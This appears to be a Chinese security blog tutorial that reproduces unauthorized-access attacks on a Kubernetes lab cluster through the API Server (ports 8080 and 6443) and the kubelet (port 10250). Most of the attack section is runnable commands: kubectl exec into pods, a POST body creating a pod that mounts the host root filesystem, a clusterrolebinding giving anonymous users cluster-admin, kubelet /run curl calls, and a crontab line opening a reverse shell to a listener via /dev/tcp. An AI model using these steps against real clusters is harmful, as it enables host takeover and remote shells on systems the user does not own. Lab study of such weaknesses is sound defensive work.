云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

文章目录

  • K8S集群架构解释(见上图参考)
  • K8S集群攻击点(见上图参考)-重点
  • API Server未授权访问&kubelet未授权访问复现

云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行_第1张图片
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行_第2张图片云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行_第3张图片
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行_第4张图片

K8S集群架构解释(见上图参考)

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
1、Master节点
2、Node节点
3、Pod
具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768

K8S集群攻击点(见上图参考)-重点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器
2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

API Server未授权访问&kubelet未授权访问复现

搭建环境使用3台Centos 7,参考:(可看搭建录像)
https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132

1、攻击8080端口:API Server未授权访问
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/

  • –insecure-port=8080
  • –insecure-bind-address=0.0.0.0

kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e “* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n” >> /mnt/etc/crontab

2、攻击6443端口:API Server未授权访问
一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

-创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST:{“apiVersion”:“v1”,“kind”:“Pod”,“metadata”:{“annotations”:{“kubectl.kubernetes.io/last-applied-configuration”:“{“apiVersion”:“v1”,“kind”:“Pod”,“metadata”:{“annotations”:{},“name”:“test02”,“namespace”:“default”},“spec”:{“containers”:[{“image”:“nginx:1.14.2”,“name”:“test02”,“volumeMounts”:[{“mountPath”:”/host",“name”:“host”}]}],“volumes”:[{“hostPath”:{“path”:“/”,“type”:“Directory”},“name”:“host”}]}}\n"},“name”:“test02”,“namespace”:“default”},“spec”:{“containers”:[{“image”:“nginx:1.14.2”,“name”:“test02”,“volumeMounts”:[{“mountPath”:“/host”,“name”:“host”}]}],“volumes”:[{“hostPath”:{“path”:“/”,“type”:“Directory”},“name”:“host”}]}}
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
-上述一样

3、攻击10250端口:kubelet未授权访问
https://192.168.139.130:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

-利用执行命令这里需要三个参数
namespace default
pod test03
container test03
-访问获取:
https://192.168.139.132:10250/runningpods/
-执行模版:
curl -XPOST -k “https://192.168.139.132:10250/run///” -d “cmd=id”
-构造触发:
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k “https://192.168.139.132:10250/run/default/test02/test02” -d “cmd=id”

你可能感兴趣的:(Cyber-Security,云原生,kubernetes,安全)